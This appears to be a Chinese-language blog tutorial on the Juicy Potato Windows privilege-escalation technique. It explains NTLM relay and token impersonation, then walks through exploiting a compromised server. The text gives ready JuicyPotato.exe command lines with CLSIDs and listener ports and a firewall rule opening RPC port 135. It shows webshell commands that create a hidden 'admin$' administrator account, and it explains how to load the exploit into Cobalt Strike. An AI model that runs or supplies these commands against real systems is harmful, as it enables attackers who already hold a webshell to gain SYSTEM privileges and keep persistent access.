烂土豆Juicypotato提权原理和利用
0x00 Potato(烂土豆)提权的原理:所谓的烂土豆提权就是俗称的MS16-075可以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM” – Windows计算机上可用的最高特权级别。一、简单的原理:攻击者可以诱骗用户尝试使用NTLM对他的计算机进行身份验证,则他可以将该身份验证尝试中继到另一台计算机!Microsoft通过使用已经进行的质询来禁止同
0x00 Potato(烂土豆)提权的原理:
所谓的烂土豆提权就是俗称的MS16-075
可以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM” – Windows计算机上可用的最高特权级别。
一、简单的原理:
攻击者可以诱骗用户尝试使用NTLM对他的计算机进行身份验证,则他可以将该身份验证尝试中继到另一台计算机!
Microsoft通过使用已经进行的质询来禁止同协议NTLM身份验证来对此进行修补。这意味着从一个主机回到自身的SMB-> SMB NTLM中继将不再起作用。但是,跨协议攻击(例如HTTP-> SMB)仍然可以正常使用!
二、我的理解流程:
1、所以我们控制HTTP流量大概都流经我们控制的HTTP服务器,做中介人攻击。
2、可以诱导系统高权用户执行一些操作,例如将它们重定向到需要NTLM身份验证的地方。所有NTLM凭据都将中继到本地SMB侦听器,以创建运行用户定义的命令的新系统服务,例如是Windows Update服务的请求时,就会是一个高权令牌,劫持掉这个令牌
3、最后模仿这个高权令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌
0x01 使用方法
1、查看当前用户权限,是否符合要求
whoami /all
whoami /priv
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
如果均开启,可以选择-t *
如果均未开启,那么无法提权
例子
2、查看RPC默认端口是否为135
如果被修改(例如为111),juicypotato的参数可以使用-n 111
如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:
找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k
例如Win7、WIn8系统,默认配置下,允许135端口的入站规则即可进行远程RPC登录
添加防火墙规则允许135端口入站的命令如下:
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow
3、根据操作系统选择可用的CLSID
参考列表
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
例如测试系统win7 ,选择CLSID为 {555F3418-D99E-4E51-800A-6E89CFD8B1D7}
4、选择一个系统未占用的端口作为监听端口
例如,最终参数如下:
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}
表示开启SeImpersonate权限创建进程,监听端口1111,使用的CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}
之后会弹出CMD命令行
0x02 限制条件
经过以上的分析,Juicy Potato的限制条件如下:
- 需要支持SeImpersonate或者SeAssignPrimaryToken权限
- 开启DCOM
- 本地支持RPC或者远程服务器支持PRC并能成功登录
- 能够找到可用的COM对象
一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。一般大多数的服务型账户IIS、MSSQL等,有这个权限,大多数用户级的账户没有这个权限,这些都可以whoami /priv 试一下看看有没有模仿权限。
0x03 WEBSHELL版本
土司找到了大佬改写过的WebShell版烂土豆,上传到服务器后执行:
JuicyPotato.exe -p whoami
提权成功,但蚁剑的WebShell里好像只能传一个参数?
# 将password替换为满足强度要求的密码,否则需要改组策略关闭密码强度检查
execute -f JuicyPotato.exe -p net user admin$ password
execute -f JuicyPotato.exe -p net localgroup administrators admin$ /add
0x04-在Cobaltstrike中使用Juicypotato提权
在Cobaltstrike中使用Juicypotato提取,是使用DLL注入的方式执行Juicypotato实现权限提升
但是缺陷比较明显,只能使用默认的CLSID({4991d34b-80a1-4291-83b6-3328366b9097})进行提权,如果想使用其他CLSID请参考命令行等执行方法
下载并解压reflectiveJuicyPotato.zip,在Cobaltstike中选择脚本管理器–>load加载juicypotato.cna脚本
随后我们在提权模块即可发现多了一个JuicyPotato
0x05 烂土豆优点
1.非常可靠,这种都比较稳定,基本上不肯能蓝屏掉线的。
2.不用需要等Windows更新,可以主动触发高权。
3.多全版本通杀。
0x06 参考
https://www.t00ls.net/viewthread.php?tid=47362&highlight=potato
https://3gstudent.github.io/3gstudent.github.io/Windows%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E5%B7%A5%E5%85%B7Juicy-Potato%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90/
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)